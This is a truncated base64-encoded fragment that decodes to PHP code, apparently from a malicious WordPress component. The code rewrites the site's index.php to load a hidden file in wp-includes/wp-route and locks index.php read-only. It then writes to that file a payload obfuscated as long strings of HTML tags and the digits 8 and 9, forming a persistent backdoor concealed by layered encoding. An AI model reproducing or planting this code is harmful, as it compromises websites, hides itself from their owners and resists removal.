pIHsNCiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ2luZGV4IEZpbGUgbm90IHJlYWRhYmxlJ107DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRmaWxlUGF0aCkpIHsNCiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ2luZGV4IEZpbGUgbm90IHdyaXRhYmxlJ107DQogICAgICAgIH0NCg0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7DQogICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ2luZGV4IEZhaWxlZCB0byByZWFkIGZpbGUnXTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChzdHJpcG9zKCRjb250ZW50LCAnd3Atcm91dGUtY29uZicpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdzdWNjZXNzZnVsbHkgYWxyZWFkeSBleGlzdHMnXTsNCiAgICAgICAgfQ0KDQogICAgJGNvbnRlbnQgPSA8PDwnUEhQJw0KPD9waHANCmlmIChmaWxlX2V4aXN0cyhfX0RJUl9fIC4gJy93cC1pbmNsdWRlcy93cC1yb3V0ZS93cC1yb3V0ZS1jb25mLnBocCcpKSB7DQogICAgcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWluY2x1ZGVzL3dwLXJvdXRlL3dwLXJvdXRlLWNvbmYucGhwJzsNCn0NCg0KLyoqDQogKiBGcm9udCB0byB0aGUgV29yZFByZXNzIGFwcGxpY2F0aW9uLiBUaGlzIGZpbGUgZG9lc24ndCBkbyBhbnl0aGluZywgYnV0IGxvYWRzDQogKiB3cC1ibG9nLWhlYWRlci5waHAgd2hpY2ggZG9lcyBhbmQgdGVsbHMgV29yZFByZXNzIHRvIGxvYWQgdGhlIHRoZW1lLg0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQoNCi8qKg0KICogVGVsbHMgV29yZFByZXNzIHRvIGxvYWQgdGhlIFdvcmRQcmVzcyB0aGVtZSBhbmQgb3V0cHV0IGl0Lg0KICoNCiAqIEB2YXIgYm9vbA0KICovDQoNCmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7DQoNCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOw0KUEhQOw0KDQoNCiAgICAkcmVzdWx0ID0gZmlsZV9wdXRfY29udGVudHMoJGZpbGVQYXRoLCAkY29udGVudCk7DQogICAgY2hhbmdlX0ZpbGVfUGVybWlzc2lvbigkZmlsZVBhdGgsMDQ0NCk7DQogICAgaWYgKCRyZXN1bHQgPT09IGZhbHNlKSB7DQogICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0ZhaWxlZCB0byB3cml0ZSBmaWxlJ107DQogICAgfQ0KDQogICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdzdWNjZXNzZnVsbHknXTsNCn0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gYm9keV9vcGVuX2luamVjdCgpIHsNCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcm9vdERpciA9ICBmaW5kX3dwX3Jvb3RfaG9vayhfX0RJUl9fKTsNCiAgICAgICAgJHJvb3RSb3V0ZURpciA9JHJvb3REaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4id3AtaW5jbHVkZXMvd3Atcm91dGUiOw0KICAgICAgICAkcm9vdFJvdXRlRGlyPSBydHJpbShzdHJfcmVwbGFjZShhcnJheSgnLycsICdcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcm9vdFJvdXRlRGlyKSwgRElSRUNUT1JZX1NFUEFSQVRPUik7DQogICAgICAgIGlmIChzYWZlX21rZGlyX2hvb2soJHJvb3RSb3V0ZURpcikpew0KICAgICAgICAgICAgJHJvb3RSb3V0ZURpclBocCA9ICRyb290Um91dGVEaXIgLkRJUkVDVE9SWV9TRVBBUkFUT1IuICJ3cC1yb3V0ZS1jb25mLnBocCI7DQogICAgICAgICAgICAkcm9vdERpckluZGV4ID0gJHJvb3REaXIgLkRJUkVDVE9SWV9TRVBBUkFUT1IuImluZGV4LnBocCI7DQogICAgICAgICAgICAkZnVsbFBhdGggPSBESVJFQ1RPUllfU0VQQVJBVE9SIC4id3AtaW5jbHVkZXMiLkRJUkVDVE9SWV9TRVBBUkFUT1IuIndwLXJvdXRlIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiJ3cC1yb3V0ZS1jb25mLnBocCI7DQoJCQkNCiAgICAgICAgICAgIGlmICghaXNfZmlsZSgkcm9vdFJvdXRlRGlyUGhwKSkgew0KICAgICAgICAgICAgICAgICRjb2RlX2NvbnRlbnQgPSI8L2E+PGJyPjg8aW1nPjxpbWc+PC90cj48L2NvZGU+PHRyPjwvZm9udD48dHI+PC9hPjxicj48L2ZvbnQ+PGJyPjwvYT48L2NvZGU+PGRpdj48L3RyPjxjb2RlPjxjb2RlPjwvZGl2PjwvYT48YnI+PC9jb2RlPjxhPjxwPjxpbWc+PHA+PGNvZGU+PC9mb250PjwvYT48L2ltZz48cD48aW1nPjxicj48L2Rpdj48L2NvZGU+PGNvZGU+PGE+PGZvbnQ+PHA+PC9hPjxicj48Y29kZT45PGE+PC90cj48L2Rpdj48Zm9udD48aW1nPjwvZGl2PjwvaW1nPjk8ZGl2PjwvaW1nPjxhPjwvdHI+PGNvZGU+PHRyPjg8Zm9udD48YT48L2ltZz48Y29kZT44PGZvbnQ+PGJyPjxpbWc+PHA+PHA+PHRyPjwvZGl2PjxhPjxwPjxwPjk8ZGl2PjxpbWc+PGJyPjxwPjxicj48L2Rpdj45PHA+ODxjb2RlPjwvaW1nPjxicj48cD48YT48L2NvZGU+PGJyPjk8Zm9udD48L2ZvbnQ+PGJyPjwvY29kZT48ZGl2Pjxjb2RlPjxjb2RlPjwvaW1nPjxicj44PGNvZGU+PC9pbWc+PGRpdj48YT48cD48L3RyPjwvYT48L2NvZGU+PC9mb250PjxwPjx0cj48L2Rpdj48Y29kZT48ZGl2PjwvaW1nPjwvYT48cD48L2NvZGU+PC9kaXY+PC9hPjxwPjxicj48L2Rpdj48L2ltZz48L2Rpdj48L2E+PC9hPjwvdHI+PHA+PGZvbnQ+PC9pbWc+PC9kaXY+PC90cj48L2NvZGU+PGZvbnQ+PGNvZGU+PGNvZGU+PHA+ODxjb2RlPjx0cj48Y29kZT48L3RyPjxhPjxkaXY+PC9jb2RlPjxwPjx0cj48Zm9udD44PGE+PGRpdj48cD48L2E+PHRyPjwvdHI+PC90cj48ZGl2Pjxmb250PjwvdHI+PGRpdj48L2Rpdj48L2Rpdj48L2E+PGZvbnQ+PGRpdj48L2E+PGE+PGltZz48Y29kZT45PHA+PGNvZGU+PC9kaXY+PGZvbnQ+PGltZz48L2ltZz45PGltZz48dHI+PHRyPjwvZm9udD48Y29kZT48L3RyPjg8L2ZvbnQ+PC9hPjxmb250Pjx0cj48aW1nPjk4PGE+PHA+PGJyPjxicj48L2Rpdj48cD48L2ZvbnQ+ODxmb250PjwvZm9udD48dHI+PHRyPjwvaW1nPjwvaW1nPjxjb2RlPjwvZGl2PjwvY29kZT48L2Rpdj48L2ltZz44PC9pbWc+ODwvdHI+PC9pbWc+PC90cj48L3RyPjx0cj45OTwvaW1nPjwvYT48L2NvZGU+PHA+PC9jb2RlPjxpbWc+PHA+PC9jb2RlPjxkaXY+PGZvbnQ+PGE+ODxhPjx0cj45ODxwPjxjb2RlPjg5PHRyPjxpbWc+PC9pbWc+ODxhPjxkaXY+PGRpdj48Zm9udD44PGJyPjxwPjg8cD48Zm9udD48L2E+PGE+PGE+OTxpbWc+PHA+PC9hPjxicj48Zm9udD48YT48L2ltZz48YT48Zm9udD48dHI+PGE+PHRyPjwvaW1nPjxmb250Pjk8YT48cD48Y29kZT48YT48L3RyPjwvaW1nPjk8aW1nPjxmb250PjxwPjwvY29kZT48Y29kZT48L2ltZz45PGJyPjwvY29kZT44PGZvbnQ+PGltZz48YnI+ODk8L2Rpdj48YnI+PC9pbWc+OTxicj48dHI+PC9hPjxhPjwvYT48L2Rpdj48L2Rpdj48Y29kZT48cD45PHRyPjxicj44PC9mb250PjwvY29kZT45PHA+PC9kaXY+PC90cj48ZGl2PjwvZGl2Pjxjb2RlPjxwPjwvaW1nPjxhPjxjb2RlPjxkaXY+PC9pbWc+PGE+PC9jb2RlPjxjb2RlPjwvZGl2PjwvZm9udD48L2ZvbnQ+PGZvbnQ+PGNvZGU+ODwvYT48cD48YT48L3RyPjxmb250PjwvYT48L2NvZGU+PC9jb2RlPjx0cj48L2ZvbnQ+PGltZz48L2Rpdj48L2ZvbnQ+PGltZz48ZGl2PjwvdHI+PC9hPjxjb2RlPjxicj48Zm9udD48YT48Y29kZT48Y29kZT48cD48aW1nPjwvYT48aW1nPjx0cj44PGltZz48L3RyPjx0cj48L2ZvbnQ+OTwvYT48Zm9udD48ZGl2PjxhPjwvZGl2PjxpbWc+PC90cj48YT48Zm9udD48ZGl2PjwvZm9udD48ZGl2Pjg8L3RyPjk8L2Rpdj48L2ZvbnQ+PHRyPjg8L2ZvbnQ+PC9pbWc+PC9jb2RlPjwvdHI+PGRpdj48L2E+PHA+PHRyPjwvYT48ZGl2Pjx0cj48L2NvZGU+PC9pbWc+PGRpdj48ZGl2Pjxicj48Zm9udD48L2ltZz48dHI+PC9mb250Pjx0cj48YT48YT48aW1nPjxicj48Zm9udD48L2NvZGU+ODxicj48Zm9udD45PC9jb2RlPjx0cj48L2E+PGJyPjxpbWc+PGZvbnQ+PC9hPjwvY29kZT45OTwvZm9udD48L2ZvbnQ+PGNvZGU+ODxwPjx0cj48L2E+ODwvY29kZT48L2E+PC9mb250Pjxicj48Zm9udD48ZGl2Pjxicj48Y29kZT48L2ltZz48cD48YnI+PGE+OTwvZGl2PjwvY29kZT48L3RyPjwvZm9udD48L3RyPjxjb2RlPjxhPjwvdHI+PC9kaXY+PC90cj48L2NvZGU+PC9pbWc+PGE+PC9hPjxmb250Pjxicj48cD48YnI+PGltZz48Y29kZT48L2E+PHRyPjxkaXY+PGNvZGU+PC9pbWc+PC9kaXY+OTg8L2ZvbnQ+PGZvbnQ+PC90cj48dHI+PC9pbWc+PHA+PC9pbWc+PC9kaXY+PGNvZGU+PC90cj44ODwvZGl2PjwvZm9udD48aW1nPjk8ZGl2PjwvaW1nPjxpbWc+PGRpdj48L3RyPjxhPjxicj48L2NvZGU+PHA+PGZvbnQ+ODxhPjwvZm9udD48Zm9udD48L3RyPjwvZGl2PjwvY29kZT48cD48L2NvZGU+PGNvZGU+PHA+PGRpdj48ZGl2Pjg8ZGl2Pjx0cj48dHI+PHA+PC9kaXY+OTxpbWc+PC9kaXY+PC9kaXY+ODwvZGl2PjwvdHI+PGJyPjxhPjxicj48Y29kZT48L2Rpdj48L2ZvbnQ+OTxicj48L2NvZGU+ODx0cj48L2E+PC9kaXY+PHA+ODx0cj45PC9kaXY+ODxhPjxjb2RlPjwvY29kZT48ZGl2PjwvaW1nPjxkaXY+PC9hPjwvY29kZT48YT45PGRpdj48cD48L2E+PGZvbnQ+PHRyPjk8L2E+PC9jb2RlPjxwPjwvYT48ZGl2PjwvYT48L2ltZz48Zm9udD48cD45PGltZz48aW1nPjg8cD48L2ZvbnQ+PGJyPjwvZm9udD48aW1nPjxmb250PjxkaXY+PC9kaXY+PGNvZGU+PC9hPjx0cj45PGZvbnQ+PGltZz48Zm9udD48ZGl2PjxkaXY+PC90cj48cD48Y29kZT48YT48aW1nPjwvZm9udD48L3RyPjwvdHI+PC9hPjg8L3RyPjwvdHI+PC9mb250Pjxmb250Pjxmb250PjxhPjwvYT48Y29kZT48cD48ZGl2PjwvZGl2PjxwPjwvZGl2Pjxmb250PjxwPjxicj48dHI+PC9kaXY+PGltZz48aW1nPjwvY29kZT48ZGl2Pjxicj48L3RyPjk8Y29kZT48L2E+PC90cj45PC9jb2RlPjxmb250Pjxjb2RlPjxwPjxpbWc+PGltZz48dHI+PC9hPjxmb250PjxpbWc+PC9hPjwvY29kZT48YT48cD48L3RyPjwvZm9udD48ZGl2PjxpbWc+PC9jb2RlPjwvY29kZT48Y29kZT48Zm9udD48aW1nPjwvZm9udD48YnI+ODg8YT45PGNvZGU+PC9pbWc+PC9mb250PjxwPjxwPjx0cj48aW1nPjwvdHI+PGltZz48ZGl2Pjx0cj44PGNvZGU+PC9pbWc+PGRpdj45PGRpdj45ODxwPjxpbWc+OTxhPjxmb250PjxpbWc+PHA+PC9jb2RlPjxmb250PjwvaW1nPjwvYT48YT45PHA+PGNvZGU+PC90cj48L2ltZz45PGRpdj48Zm9udD48cD44PGltZz48Zm9udD48L2Rpdj48Y29kZT48L2ZvbnQ+OTwvdHI+PGJyPjk8ZGl2PjxpbWc+PC9hPjwvZm9udD48L2Rpdj48ZGl2Pjxjb2RlPjxjb2RlPjxjb2RlPjxjb2RlPjwvZGl2PjxwPjwvZGl2PjwvYT48L2ltZz48Zm9udD48dHI+PGltZz48L2E+PHA+PC9mb250PjxkaXY+PC90cj48L2ltZz48L2NvZGU+PHA+PHA+PC9pbWc+OTg8L2ltZz48cD48dHI+PGZvbnQ+PGE+ODwvaW1nPjwvaW1nPjwvY29kZT48dHI+PGE+PHRyPjxpbWc+PC9kaXY+PGE+PGltZz48L2ltZz48L2Rpdj48YnI+PC9jb2RlPjxjb2RlPjk8L2Rpdj44PC9jb2RlPjxmb250PjxhPjwvY29kZT45PC9mb250PjxpbWc+ODxpbWc+PGZvbnQ+PC9hPjk5PC90cj45PC9mb250PjwvYT48cD45PGNvZGU+PGE+PHRyPjwvdHI+PGJyPjwvdHI+PGRpdj48ZGl2Pjk8Zm9udD48L3RyPjxkaXY+PHA+PC9pbWc+ODg8dHI+PC90cj48L2E+PC9jb2RlPjg8Y29kZT48cD48Zm9udD48ZGl2PjwvYT48L2E+PGZvbnQ+PC9jb2RlPjwvYT48dHI+PC9mb250Pjxmb250PjxkaXY+PGJyPjxjb2RlPjxhPjxicj48L3RyPjxkaXY+PGNvZGU+PGRpdj48dHI+PC9hPjxjb2RlPjx0cj44PGNvZGU+PC9hPjxjb2RlPjwvZm9udD48L2E+PGltZz48Zm9udD48aW1nPjwvZGl2Pjg8cD48YT48L2NvZGU+PGltZz48cD48cD48dHI+PC90cj48L2NvZGU+PHRyPjxmb250PjxpbWc+PGZvbnQ+PHA+PHRyPjxkaXY+PHRyPjxicj48Y29kZT48aW1nPjxwPjk8L2ltZz48L3RyPjxkaXY+PGRpdj48L2E+PHRyPjxjb2RlPjk8aW1nPjwvZm9udD48cD48L2Rpdj44PHRyPjwvaW1nPjwvY29kZT48Zm9udD48YT48dHI+PHRyPjxmb250PjxwPjxmb250Pjk8Zm9udD48Zm9udD48cD48L2ZvbnQ+ODk8L2NvZGU+PGltZz48ZGl2PjxkaXY+PGNvZGU+PGE+PGJyPjk8dHI+PGZvbnQ+PGZvbnQ+OTxkaXY+PGNvZGU+PC90cj48L3RyPjwvZm9udD48ZGl2Pjk4PC9pbWc+PC9kaXY+PGRpdj48YT48YnI+PGZvbnQ+ODwvY29kZT48L3RyPjwvY29kZT48aW1nPjxkaXY+PGNvZGU+PHRyPjxjb2RlPjx0cj48Zm9udD48L2E+PHRyPjwvZm9udD45PHRyPjxmb250PjxkaXY+PC9hPjwvY29kZT45PGJyPjx0cj48cD48ZGl2PjwvdHI+PGZvbnQ+PHRyPjk8dHI+PGZvbnQ+PC90cj48L2Rpdj48ZGl2Pjxicj48L3RyPjk4PGE+OTxpbWc+PHA+PC9jb2RlPjwvZGl2Pjg8ZGl2Pjxicj48YnI+PGNvZGU+PGNvZGU+PGE+OTwvdHI+PGNvZGU+ODwvZGl2Pjxjb2RlPjxwPjxmb250Pjxjb2RlPjxmb250Pjk8L2ZvbnQ+PC90cj48dHI+PGZvbnQ+PGZvbnQ+PGJyPjg5PHA+ODxmb250PjxhPjxmb250Pjxmb250PjwvaW1nPjwvaW1nPjxmb250Pjx0cj48cD48L2E+PGZvbnQ+PC9pbWc+ODxicj48aW1nPjwvZGl2PjwvdHI+PC9pbWc+OTwvY29kZT48cD48L2NvZGU+PC9jb2RlPjwvZm9udD48cD48YnI+PGRpdj48L3RyPjwvZGl2Pjk4PGRpdj48Zm9udD48YnI+PC90cj48Zm9udD44PC90cj48L2ltZz48YnI+PC9pbWc+PC9pbWc+PC9kaXY+PHA+PHRyPjxjb2RlPjwvaW1nPjwvYT48L2NvZGU+PGltZz45PC9pbWc+PC9kaXY+PHRyPjwvY29kZT48aW1nPjxpbWc+PC9pbWc+PGRpdj48ZGl2PjwvdHI+PGRpdj48YT48cD48YnI+PC9jb2RlPjwvdHI+PC9hPjk8YT48YnI+PHA+PC9pbWc+PC9jb2RlPjwvaW1nPjk8L2E+OTxhPjwvYT48L3RyPjwvZm9udD48L2Rpdj48L2E+PC9mb250Pjx0cj48YnI+PGZvbnQ+PC9kaXY+PGE+ODwvdHI+PGltZz48L2E+PGE+PGZvbnQ+PGE+PHRyPjxjb2RlPjxicj45OTxicj48L2NvZGU+PGltZz48YnI+PGZvbnQ+PGRpdj48L2ltZz48aW1nPjwvdHI+PC9pbWc+PC9mb250Pjg8Zm9udD48aW1nPjxmb250Pjx0cj48L2ZvbnQ+PC9mb250PjwvZm9udD48dHI+OTwvY29kZT48ZGl2PjwvaW1nPjwvdHI+PGE+PGJyPjxwPjwvZm9udD48dHI+PGZvbnQ+PHA+PC9hPjwvdHI+PGZvbnQ+PHA+PC9mb250Pjg8cD48L2Rpdj48L2Rpdj48L2Rpdj48L3RyPjxjb2RlPjwvYT48aW1nPjxhPjxkaXY+PHA+ODxwPjxicj48aW1nPjwvdHI+OTwvZm9udD48L3RyPjg8ZGl2Pjxjb2RlPjxpbWc+PC90cj48L2Rpdj48L2ZvbnQ+PC9hPjxhPjxkaXY+PHA+PGNvZGU+OTxhPjxmb250PjwvYT48Zm9udD48L2ltZz48Zm9udD48L2NvZGU+PC9jb2RlPjxmb250Pjxmb250PjwvY29kZT48L2Rpdj48L2E+ODwvZGl2PjxwPjwvY29kZT48L2Rpdj48Zm9udD48dHI+PHA+PC9hPjxjb2RlPjxhPjxpbWc+PGNvZGU+PGJyPjxmb250PjxpbWc+PC9jb2RlPjx0cj48L2ltZz44PC9hPjxkaXY+ODwvZm9udD48dHI+OTxpbWc+PC9pbWc+PGZvbnQ+PGE+PHRyPjxmb250PjxwPjxkaXY+PHA+PC9kaXY+PGE+PC9hPjxjb2RlPjg8YnI+OTwvYT48aW1nPjwvZGl2Pjg8Zm9udD48YT48ZGl2PjwvY29kZT45PGZvbnQ+PGE+PC9mb250PjwvdHI+PGltZz48L2NvZGU+PGE+OTwvZGl2PjwvY29kZT48dHI+PGltZz48L2E+PC90cj48L2NvZGU+PC9pbWc+PGltZz48dHI+PC9jb2RlPjwvZGl2PjxpbWc+PC9jb2RlPjxkaXY+PGNvZGU+OTg8Y29kZT48Zm9udD48YnI+PGJyPjwvZGl2Pjk4PGltZz48YT44PGltZz48YnI+PC9pbWc+PGJyPjxmb250Pjxmb250Pjxmb250PjwvaW1nPjwvdHI+PGZvbnQ+PGRpdj48L2E+PC9jb2RlPjxicj48L2NvZGU+PC9mb250PjxwPjxhPjxhPjk8dHI+OTwvYT44PHA+ODwvZm9udD48cD48ZGl2PjwvdHI+PC9pbWc+PGltZz48Zm9udD48aW1nPjx0cj48L2E+PC9mb250PjxwPjwvZm9udD48cD48YT48dHI+PGE+PC9kaXY+OTwvaW1nPjx0cj48L2ZvbnQ+PHA+PGRpdj48Zm9udD48cD48L2ZvbnQ+ODxwPjk8dHI+PGE+PC9mb250Pjk5PC9hPjxicj48cD48cD48L3RyPjwvYT48YT48L2NvZGU+PGRpdj45PC9kaXY+PC9pbWc+PHA+OTk5PGE+PHA+PC9hPjwvY29kZT48L2ltZz48dHI+PC9mb250Pjxmb250PjxkaXY+PGRpdj45PC9mb250PjwvZm9udD45ODxhPjk8L2ZvbnQ+PC9pbWc+PGZvbnQ+ODwvdHI+OTk8L2E+PC9mb250PjxkaXY+PGRpdj48ZGl2PjxhPjxkaXY+PC9pbWc+PGE+PC9kaXY+PC90cj48L3RyPjxkaXY+PHRyPjx0cj48Zm9udD48Zm9udD45PGltZz45PC90cj48Zm9udD48YT48L2ZvbnQ+PC9hPjwvZGl2PjwvY29kZT48YnI+PGRpdj48Y29kZT48Zm9udD45PGNvZGU+PHRyPjxwPjwvY29kZT48Y29kZT48L2ZvbnQ+PC90cj48ZGl2PjxkaXY+PC9pbWc+PC9jb2RlPjxmb250PjxwPjxicj48dHI+PGZvbnQ+PC9pbWc+ODwvZm9udD48aW1nPjk5PGNvZGU+ODwvZGl2PjwvYT48L2Rpdj48L2ltZz48L2ZvbnQ+PGltZz48cD44PC9pbWc+PC9kaXY+PHA+PGE+ODxhPjxmb250Pjxjb2RlPjwvZGl2PjxhPjxhPjwvY29kZT45OTxwPjxkaXY+PC9kaXY+PC9hPjwvZGl2PjwvZm9udD48YnI+PGRpdj48Y29kZT48YT48Zm9udD45ODxwPjxwPjxicj48aW1nPjxkaXY+PC9jb2RlPjxjb2RlPjk8ZGl2PjwvY29kZT48cD48L2E+ODwvYT44PHA+PC90cj48L3RyPjwvY29kZT48ZGl2PjwvaW1nPjwvY29kZT48YT48Y29kZT44PHA+PHRyPjg8aW1nPjx0cj48dHI+OTxhPjxpbWc+PGZvbnQ+PGJyPjwvdHI+PGE+PC9jb2RlPjk8L2Rpdj48YT48dHI+PGltZz48L2ltZz44OTxjb2RlPjxicj48L2Rpdj48L2E+PHA+PGNvZGU+PC9jb2RlPjxkaXY+PGJyPjxhPjxmb250PjwvdHI+PC9pbWc+PGZvbnQ+PGJyPjk8L2ltZz48YnI+PHRyPjxwPjg8aW1nPjg8Y29kZT48L2NvZGU+PGZvbnQ+PC90cj48aW1nPjwvZm9udD45PHA+ODwvZGl2Pjk8L3RyPjx0cj48YT48Y29kZT48L2ltZz48YT48Y29kZT48YnI+PGNvZGU+OTxpbWc+PHRyPjg8YnI+PC9jb2RlPjwvY29kZT44PGltZz48YT48Y29kZT48L3RyPjxicj45PC90cj48YT48Y29kZT48L2ZvbnQ+PGltZz48ZGl2PjwvYT48L3RyPjxjb2RlPjwvaW1nPjwvY29kZT48aW1nPjx0cj48L2E+PGltZz48L2Rpdj48L2Rpdj48cD48Zm9udD48L2ltZz48L2ZvbnQ+PGE+PGZvbnQ+PC9kaXY+PC9kaXY+PGNvZGU+PGZvbnQ+ODxicj48L3RyPjwvZm9udD48YnI+PHRyPjxmb250PjwvZm9udD44PC9mb250Pjxicj48cD44PGltZz44PC9jb2RlPjxwPjxmb250Pjxmb250Pjx0cj48L2NvZGU+OTg8YT48cD48L3RyPjwvY29kZT48Y29kZT48L2E+PHRyPjwvaW1nPjwvY29kZT48L2Rpdj44PGRpdj48dHI+OTx0cj48Y29kZT48L3RyPjxjb2RlPjxmb250PjxkaXY+PHA+PHRyPjx0cj48L2ltZz48YT48YT48aW1nPjxpbWc+PGNvZGU+PHRyPjx0cj48aW1nPjxkaXY+PC9jb2RlPjwvdHI+PC9hPjwvaW1nPjg8YT48L2ZvbnQ+PGRpdj48L2ZvbnQ+PGJyPjwvZm9udD45PHRyPjwvdHI+PC9hPjxmb250PjwvdHI+PHRyPjg8L2Rpdj48aW1nPjk8L2ltZz48L2E+PC90cj48L3RyPjxwPjxjb2RlPjg8cD48L2ltZz48ZGl2PjwvaW1nPjxpbWc+PC9hPjg8Y29kZT45PC9hPjwvaW1nPjwvaW1nPjwvZm9udD48cD48L2NvZGU+PGJyPjwvZGl2PjxhPjwvdHI+PC9pbWc+PGZvbnQ+PC9hPjwvYT48YT48Zm9udD45PHRyPjwvZm9udD48Zm9udD48L2ltZz48L2NvZGU+PHRyPjxkaXY+PHRyPjwvY29kZT48cD48L3RyPjxkaXY+PGZvbnQ+PC9pbWc+PC9mb250PjwvYT48aW1nPjxjb2RlPjwvZGl2Pjxmb250Pjk8aW1nPjwvaW1nPjxkaXY+OTxmb250PjwvZGl2PjxkaXY+PC9kaXY+PC9mb250PjxkaXY+PC9pbWc+PHRyPjxkaXY+PHA+PGE+PGE+PGltZz48L2Rpdj48L2ltZz48L2ZvbnQ+PGZvbnQ+PC90cj48YnI+PGE+PGRpdj48ZGl2PjxpbWc+PC9jb2RlPjwvZm9udD48L2ltZz45PGRpdj48L3RyPjwvYT48L2Rpdj48aW1nPjx0cj48L2Rpdj48cD48L2ZvbnQ+PC9jb2RlPjxwPjxjb2RlPjxmb250Pjk8L2E+PHRyPjxkaXY+OTwvY29kZT48L2E+PHA+PC9kaXY+PGJyPjwvdHI+PGE+PGE+PC9jb2RlPjxjb2RlPjg8L3RyPjxpbWc+PC9hPjwvZm9udD44PGE+OTxmb250PjwvZGl2PjxkaXY+PGRpdj48Zm9udD48L2Rpdj48L2ltZz48L3RyPjxkaXY+PGZvbnQ+PC9mb250Pjxmb250Pjxmb250Pjxicj48L2ZvbnQ+ODwvZm9udD48aW1nPjwvZGl2PjwvY29kZT48L2NvZGU+PC9jb2RlPjxmb250Pjg8L2E+PHRyPjwvdHI+PC9kaXY+PC90cj48YT45PGE+PC9jb2RlPjx0cj48aW1nPjx0cj48ZGl2PjwvYT48L3RyPjwvYT48L2ZvbnQ+PC9hPjxwPjwvdHI+PC90cj48YT48L2ltZz48L2NvZGU+PC9jb2RlPjxhPjwvYT48aW1nPjwvZGl2Pjx0cj48dHI+PC90cj44PC9mb250Pjg4ODxmb250PjwvdHI+PC9pbWc+PGZvbnQ+PGNvZGU+PC9hPjxkaXY+ODwvZm9udD48L2ltZz45ODwvdHI+PGE+PGE+PGRpdj48YnI+PC9mb250PjxwPjxmb250Pjxmb250PjxpbWc+PC9mb250Pjxjb2RlPjwvaW1nPjxwPjxhPjwvdHI+PGJyPjxwPjg8L2ltZz45OTxpbWc+ODwvZGl2PjwvdHI+PHA+PGJyPjwvYT48Zm9udD48aW1nPjx0cj48L2ZvbnQ+PGE+PGE+PGltZz48L2NvZGU+PC9jb2RlPjx0cj48dHI+ODxjb2RlPjxjb2RlPjxjb2RlPjwvaW1nPjxwPjwvYT48L2E+PC9mb250PjxwPjwvZGl2PjwvZm9udD48Zm9udD48aW1nPjwvaW1nPjxmb250PjxpbWc+PC90cj48L2NvZGU+PHA+PC9hPjxwPjx0cj48L2ZvbnQ+PGNvZGU+PC9kaXY+PC9hPjwvdHI+OTxicj48YT48YT48cD48L2ltZz48aW1nPjxkaXY+PGE+PC90cj48L2E+PHA+PHA+PC9kaXY+PC90cj48dHI+PC9hPjxmb250PjxwPjxmb250Pjx0cj45PHRyPjwvYT48L3RyPjwvYT48Zm9udD48L2ltZz48cD48L2ZvbnQ+PC9mb250PjxpbWc+PGltZz48YnI+PGRpdj48ZGl2Pjg8L3RyPjwvdHI+PGltZz44PC9mb250PjxhPjwvZGl2PjwvYT44PC9hPjxwPjwvaW1nPjwvY29kZT48cD44PGJyPjxhPjwvZm9udD48YT48L3RyPjxjb2RlPjxpbWc+PC9jb2RlPjwvY29kZT48L2Rpdj48L2NvZGU+PHA+OTxkaXY+PGNvZGU+PC90cj48L2ltZz48L2ltZz48L2E+PGE+PC9kaXY+PGZvbnQ+PGZvbnQ+PGJyPjg4PGZvbnQ+PHRyPjxmb250Pjk8ZGl2PjwvY29kZT48cD48L2Rpdj48aW1nPjwvZm9udD48Zm9udD44PC90cj48Y29kZT48L2ZvbnQ+PGltZz48YnI+PC9jb2RlPjxwPjxkaXY+OTxwPjg8ZGl2PjwvZGl2PjwvdHI+PC9kaXY+ODg8YT48ZGl2PjxkaXY+PGNvZGU+PGltZz48YnI+ODxhPjwvZm9udD48YnI+PC9jb2RlPjxicj48cD48L2Rpdj48L2E+ODxkaXY+PGJyPjwvZGl2Pjk5PC9hPjxmb250Pjx0cj48aW1nPjwvaW1nPjxhPjwvaW1nPjxmb250Pjk4PC9pbWc+PGE+OTxpbWc+PC9jb2RlPjk8L2ZvbnQ+PHRyPjwvY29kZT48YnI+OTwvaW1nPjwvYT48YnI+PGJyPjwvaW1nPjx0cj48L3RyPjwvYT48L3RyPjxicj45PC90cj48L2E+PGltZz48L2Rpdj48L2ZvbnQ+PGZvbnQ+ODg8L3RyPjwvdHI+PHRyPjwvZGl2PjwvZGl2Pjxjb2RlPjxwPjxicj48L2NvZGU+PGZvbnQ+PGltZz48cD48aW1nPjk8L3RyPjxmb250PjwvZm9udD48Y29kZT48L3RyPjxicj48aW1nPjwvZm9udD48L2NvZGU+PHA+PC9mb250Pjk4PGNvZGU+ODxmb250Pjg8L2NvZGU+PGJyPjk8ZGl2Pjk5PC9kaXY+PGJyPjxkaXY+PC9jb2RlPjxhPjxmb250Pjx0cj48ZGl2Pjxicj48L2ltZz48L2NvZGU+PC9mb250PjxkaXY+PGNvZGU+PGZvbnQ+PC9kaXY+PGE+PHRyPjwvZGl2PjwvaW1nPjxjb2RlPjxwPjxwPjk8L3RyPjwvZGl2Pjxmb250PjxpbWc+PGNvZGU+PGJyPjxhPjg8L2Rpdj